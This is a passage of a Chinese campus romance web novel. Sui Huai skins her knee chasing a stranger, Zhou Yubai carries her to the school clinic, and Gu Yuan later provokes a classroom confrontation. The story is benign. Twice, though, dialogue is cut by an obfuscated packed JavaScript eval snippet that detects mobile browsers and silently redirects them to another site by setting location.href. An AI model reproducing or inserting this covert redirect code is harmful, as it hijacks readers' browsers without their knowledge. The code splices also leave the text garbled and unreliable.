“跟我作对是吧,”顾远气性上来了,除了岁淮,他本就不是个好脾气的主,“把钱退了,我来付。” 周聿白握着岁淮的胳膊,淡淡一笑:“我家岁岁要吃,我来付,与你无关。” 拉着人就走。 从骨汤店出来,拐过一个路灯,走过一个十字路口,岁淮身上的浓郁汤味散去,挤进鼻腔的是一阵浓浓的糖炒栗子香,有个三轮车在那儿摆摊卖炒栗子,头一张一望,怕被城管给逮着,这块不让摆地摊,得去学生街。 岁淮只看了一眼就收回,追上前面的人。 周聿白步子大,走得快,岁淮走一步跑三步,没走半条街累的气喘吁吁,两手撑着膝盖,弓着腰,“不行了不行了,我走不动了,让我歇会儿。” 周聿白停下来,看她。 半晌,扭头走了。 “你去哪儿啊?”岁淮问,周聿白没理她,步伐不紧不慢地过红绿灯。这混蛋,还真不管她了,不就骗了他跟顾远喝口汤吗,好像她犯了杀头之罪。岁淮胃撑得难受,想追,心有余力不足,索性坐在一边的绿化花坛边,合计着待会儿怎么哄周聿白。 不好哄。 主要是不好糊弄。 周聿白是个人精,别看他平时好说话,那是不爱计较。一旦跟你认真起来,稍微糊弄一个字,一个标点符号,他都能给你揪出来。 岁淮歇了几分钟,起身,准备给周聿白打电话让他等她一起回学校,电话还没拨出去,余光忽然出现一道人影。 明晃晃的,在她面前,一闪而过。 岁淮只愣了半秒,拔腿就追上去。 她不擅长跑步,平时体育课跑个八百米都够呛,三年下来运动会报名也只报了个丢铅球凑数,此时追起人来已经用尽全部的力气也还落后一大截,脚一歪,整个人跌倒在地,膝盖擦破一大块,血珠渗出来。她顾不上流血,趁着那么人影没消失,接着追,心快要跳到嗓子眼儿,双头的肌肉因过度用力而开始抽搐,继而发酸发麻,可她一刻都不敢停,胸腔的空气正在渐渐变得稀薄,眼前变得朦胧,浑身变得湿淋淋,汗珠流进眼角,疼得好像要瞎了,可岁淮也不敢眨眼,怕眨一下,人就没了。 鞋踏在柏油马路上,溅起一阵热浪。 速度越来越快。 快了,快了,快了—— 那人似乎体力不支了,逃走的速度正在减慢—— 岁淮深吸一口气,猛地奔过去,在那一刻,她整个人的脑袋都是空的。她全部的思绪都是,终于能见到了—— 突然。 奔跑的男人被一群人摁在地上,抓他的人是一群穿着白大褂的医生和护士。护士拿着针筒,往外滋了下水,娴熟地往男人胳膊一扎,男人挣扎几下便没动静了。几个护士抬来担架,男人被小心翼翼地放到上面,再慢慢运回车里。 擦肩而过时,岁淮看清了男人的脸。 陌生极了。 不是他。 刚刚在奔跑时蓄起的所有力气和希望,此刻像个被戳瘪的气球,像开闸后泄尽的洪水,像地震后崩塌的一片废墟。 岁淮愣愣地站在原地,一动不动。 下一刻,一只手将她拉得往后一退,撞进了一个滚烫的怀里。 “怎么了?”周聿白拉住岁淮的手,另一只手里握着一瓶水,是他刚去附近便利店买的。刚刚岁淮捂着肚子,周聿白猜她不舒服,买了瓶水回来的工夫,路口的岁淮不见了,他头一偏,看到岁淮拼了命的跑,追了上来。看着岁淮汗津津的脑袋,问:“你跑什么?” 她没说话,也没动。 周聿白看了眼膝盖,皱眉,“你流血了。” 他蹲下来,把水放在一边,抽出一张纸巾擦掉岁淮膝盖边的沙泥。怕她疼,动作轻而慢,“疼吗?” 疼。 破皮的地方如针扎。 “……还好,”岁淮动了动腿,嗓音还有些奔跑时过度用力呼吸留下的哑,她咳嗽几下,“我刚用手撑住了,只擦破点皮,没多疼。” “你刚摔的地方有沙砾,得用酒精消毒,容易感染,得去医务室。”周聿白拿出手机搜附近的医院和诊所,都挺远的,还没一中校内的医务室近,当即把手机扔回口袋里,站起身,“回学校。” “现在?”岁淮看周聿白打了辆车,他则挽袖口,白色布料卷到胳膊肘,在她不明所以的眼神里,忽然将她横抱起来,上了出租车后座。 岁淮今天穿的半身裙,到膝盖,横空被抱起来的时候,双腿一凉。没等她拽,另一只手臂已经先一步护住她的腿,将裙摆严严实实地贴着她,没半点走光的地方。少年的手掌宽大,手臂有力,岁淮感觉自己被稳稳地拖住,走到出租车的几米距离中,因为姿势,她整个人都贴着周聿白,他的胸膛,他的腰腹,他的呼吸,每一处都真切而滚烫,她怔怔地喊了声:“周聿白。” 他看着车,没看她,“嗯?” 岁淮被一股说不清道不明的情绪包裹着,想说的话太多,但最后却问了最不重要的那个:“你怎么知道我在这儿的?” “不知道,一路追一路看,”周聿白说话时,胸腔也在震动,“我运气不错,追了两条街看见你了。” “那要是没看见呢?” “接着追,”他说,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306971|139675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总会看见的。” 周聿白坐稳,关上车门,对司机说:“你好,去一中。” 司机笑笑:“一中拐个弯就到了,还坐车啊。” 周聿白抽出一张纸巾轻盖在岁淮腿上,隔绝细菌和灰尘,闻声,冷淡道:“我妹受伤了,没法儿走路。” “那是得快点,你们坐稳了啊。”司机启程。 岁淮垂下眼,把周聿白改在腿上的纸巾拿开,她满脑子都是那声我妹,我妹,我妹。手抖了抖,把纸巾蜷在掌心里,闭着眼,看向窗外,“不用那么小心,擦破点皮而已。” “伤得很重了,”周聿白重新抽出一张纸巾,要盖,岁淮躲,他一手摁住,哄了哄,“乖点儿。” 几分钟的路程三两下到了,司机人好,说油门都没踩热不收钱了,周聿白这方面有原则,该给的一分不少,扫码付完款,横抱起岁淮往医务室走。 现在是午休时间,校园内无人走动,一片静谧。 医务室的校医趴在办公桌上休息,周聿白将岁淮放在病床上,转而敲了敲门,“谭医生。” 谭医生惺忪地醒过来,戴上眼镜:“病了?” “不是我,我妹,她摔倒了。” “我看看。” 谭医生观察伤口,“得消毒,再敷点药,接下来一个星期都别碰水,洗澡时候注意点儿。” “好,谢谢医生。” 谭医生给岁淮伤口消毒,上药,忙完出去了。 医务室里安静得只剩下午后的几声蝉鸣。 岁淮靠着病床头,无聊地转着手机,周聿白手里还拿着冰敷袋,里面的冰块吱嘎吱嘎地响着,他问:“刚刚跑什么?” 话题绕回来了。 岁淮抿了下唇,“追人。” “谁?” “那个跑出来的精神病患者。” “追他干什么?” “他穿着病号服,肯定是偷跑出来的啊,我想着多一个人追多点希望,我就追了。”在周聿白面前,岁淮没打算说假话。或者,由不得她说假话,周聿白是个人精,刚刚她跑成那样假话糊弄不过去,只有半真半假他才信。 “你拿什么追,你这两条腿,还是你八百米都跑断气的体质?”周聿白脸色冷淡,说话也没情绪,岁淮一听就知道这人开始秋后算账来了。 她眼神躲避,“……想追就追了,你不是还说过,做人就得为社会做点贡献吗,我这也算是做好事吧。” 周聿白盯着她,慢慢说一句:“造反啊。” 淡淡的威压。 这人是真生气了。 岁淮吞咽了一下口水,怂了怂,她梗着脖子小声抗议,“我都摔了,我现在是个病人,你还要骂我?” “不光骂你,我还揍你。” “……” “岁淮你给我听好了,下回还这样,揍你,听见没?” “哦。” 周聿白拎她耳朵,“说你听见了。” “听见了听见了!” 周聿白弯腰,低下头,朝她膝盖吹了两下,“下回小心点了。” 少年的眼里。 是心疼。 20. 心里有鬼 岁淮第一回摔得这样重,上课还好,去厕所就麻烦了,蹲半天才蹲下来,裤子也难脱。厕所里又闷又热,没一会儿就满头大汗,章盈笑话她:“纸巾都不够吧,还得分一张出来擦汗。” 岁淮气得捅了她一下,“走开啦。” 晚上洗澡换衣服更麻烦,还得麻烦林姨。 林姨是周家的老人儿了,工作了十几年,周聿白和岁淮也算是她带大的,帮岁淮擦身的时候,在那笑,“咱家岁岁是大姑娘了。” “啊?” “发育的好,白白嫩嫩的,”林姨笑,“胸也大。” “啊!林姨!”岁淮脸通红。 初中那会儿岁淮也摔过一次,摔倒尾椎骨,是钟晴给她洗的澡,那会儿钟情也是笑嘻嘻说:“咱家岁岁是大姑娘喽,看这前凸后翘的,以后不知道便宜哪个臭小子。” 给岁淮闹了个大红脸。 现在林姨这么一说,岁淮又羞又恼,捂着脸,抬不起头来,声音闷闷的:“林姨你讨厌死了。” 回到床上,深夜一个人,岁淮才真正地放松下来。 脸上的笑慢慢卸下来。 枕着枕头,睡着绵软的床,下床是羊绒毯,仰头能看到吊顶的星星灯和虚拟银河,岁淮这些年不亚于过年公主般的生活。 可五岁那年的寒冷,怎么也忘不了。 那是一种深入骨髓的冷。 - 第二天课间操,岁淮没去,一个人在教室里,突然听到走廊里有声音。 探头,一看。 一行人浩浩荡荡地往这里走,顾远首当其冲,他手里拿着的——拐杖!? 再往后,两个男生抬着一个轮椅!? 粉粉的,少女心。 一股不祥的预感升起,岁淮蹭地一下从位置上弹起来,拉开窗户,“顾远,你来这里干什么?” “刚去你们班问了圈,说你摔了腿没去课间活动,我打电话叫人送来了这两个,你看看,哪个用的比较顺手……”顾远改口,“顺腿。” 他斜额,示意岁淮挑,那眼神满是“喜欢哪个随便挑,爷有钱有势”。 眼镜男生笑:“随便挑。” 瘦子男生附和:“质量杠杠,嫂子。” 顾远扫过去一眼,轻轻淡淡的,看上去在警告别乱说话,那两男生也好像知错低头闭嘴了,但岁淮就是觉得顾远那渣滓眼里全是得意,唇角勾着,斜倚着墙,一副会说就多说点的样。 课间操二十多分钟,现在临近散场,学生陆陆续续地从操场往教学楼赶,极少数腿快的已经跑上了连接文理科教学楼的天桥,地板被踩得轰轰响。没多久,这层楼就会因为顾远拿来这俩样东西围满更多人,看这场笑话。 “拿走,我不用,你快走。”岁淮“啪”地一声关上窗户。 顾远挥手示意俩男生等着,自己从教室后门进来,径直走到岁淮桌边,抽走她手里的笔,在指间转了转,“不是摔了腿吗?” “我是摔了,”岁淮夺回自己的笔,“不是残了。” 她感受到地面的震动,人潮越来越近,也急了,“神经啊,你快点把东西拿走!一会儿大家上来看见了!” “看见了就看见了,”顾远坐在陈柒柒的位置上,单手支着下巴,“怕人笑话你啊,放心,我在,没人笑你。” “……” 岁淮简直要炸毛,她就没见过这么中二的人! “顾远,你是不是以为咱俩在这拍电视剧啊?”岁淮抓了抓头发,瞪他,他还在那笑,岁淮暗骂一声这人没救了,“唰”地一下打开窗户,朝着外面的两个男生说,“现在、立刻、马上,把这两样东西拿走。” 她冷着脸,表情愠怒。 俩男生为难地探头看了眼顾远,“……远哥?” 顾远埋头玩着岁淮的笔袋,是个紫红草莓熊,不知道是不是用久了,眼睛掉了一个,他扒开看了眼夹层,里面是几根小棒棒糖。他抽了一根,拆开包装,把糖塞嘴里,葡萄的酸甜味碰撞着味蕾,他微微蹙眉,抬头挥了下手,“你们先撤吧,走楼道,别给人看见。” 俩男生猫着腰换另一边空置的楼道下了。 岁淮亲眼看两人背影消失,心才落下来,一转头,顾远跟个老大爷似的翘着二郎腿吃她棒棒糖。她看得火大,手快地去抢,“饿死鬼投胎啊你,这是我的糖。” “就一根。”顾远往后躲。 “半根都不行。”她抢。 “我吃了怎么办,”他笑得吊儿郎当,“岁岁想我怎么赔啊。” “赔你个大头鬼!”岁淮一句接一句地骂,真不怨她,实话说岁淮脾气挺好,也不爱计较,偏偏顾远这人就爱玩“招惹心爱的姑娘”那一套,回回气得岁淮不行,她抢不了也就不抢了,站在原地,一手叉腰,一手指着外面赶人:“给你十秒钟,从我眼前消失。” 咚咚咚。 上楼的脚步由远及近。 见他不动,岁淮拽着他的衣服往外推,也就是腿摔了,不然真得给他两脚。 “行了,我走,你别乱动,回头伤着了。”顾远起身,那副闲散姿态收敛,正经地问她,“那跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321907|139675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我说个实话,怎么伤的?” 昨天岁淮眼睛哭肿了,今天又摔了,很难不让顾远多想。 “不关你的事。” “关。” 岁淮因为他笃定的口吻望过去。 顾远没了懒散的笑:“只要我喜欢你一天,你的事我就管定了。” “她的事还轮不到你管。” 一瓶冒着寒气的水,从岁淮左肩伸过,如冰冷的枪口抵着靶心一般抵着顾远的胸膛,“请你自重。” 顾远掀开眼皮。 周聿白将岁淮护到背后,身影高而挺,罩的严严实实,像维护领地的狼,也像睨视的鹰。 霎时针尖对麦芒。 教室里氛围静谧而怪异,七班的学生全都因为这一幕停在教室外,扒着门和窗看,议论声如浪般从里向外围蔓延,没一会儿走廊里也聚集不少人,围得水泄不通。 字里行间依稀听见“学霸对校霸”的字眼。 估摸着,周聿白是学霸,顾远是那个校霸,两霸争锋。 顾远:“我追自己喜欢的姑娘,行得正做得直,我有什么不自重的?” “刚送下楼的那两轮椅和拐杖你送的吧,”周聿白冷不丁地提起,用水瓶慢砸两下顾远的胸膛,淡声质问,“像这种事你不止做了一回,每一回,你都让她处于进退两难的局面。” “让你自重,不是自我尊重,”周聿白收回手,水瓶搁在桌面,噔的一声,棋子落盘的掷地有声,“是请你尊重别人。” 在七班,在年级,在学校,周聿白是行走的学习标兵,学习神,人也没尖子生身上的刁钻劲儿,也笑,也调侃,老师学生没几个看不惯他的,也没几个见过周聿白对人说这种话的。 岁淮也没见过。 在她印象里,周聿白总是老神在在,游刃有余。浪漫主义起来能跟你风花雪月,理想主义起来也能跟你大道理一堆,压弯的路灯杆他都能给你扶正。第一回,见他把话说得这样重,这样难听。 顾远冷笑了声,扫了扫衣服上残留的水珠,两手揣进兜里,忽然说:“你不觉得你很奇怪吗?” 莫名的,全场因为这句话倏地安静下来。 “岁淮追根究底只是你妹妹,还没血缘,你凭什么这么排斥我追她?”顿了顿,他歪头,淡淡道:“周聿白,你该不是心里有鬼吧?” 一句话掀起千层浪。 周聿白神情淡漠,情绪不明时,岁淮先一步激动起来,好像被踩了尾巴的猫,心虚和慌乱将她牢牢笼罩,无所遁形:“顾远,你胡说八道什么!?”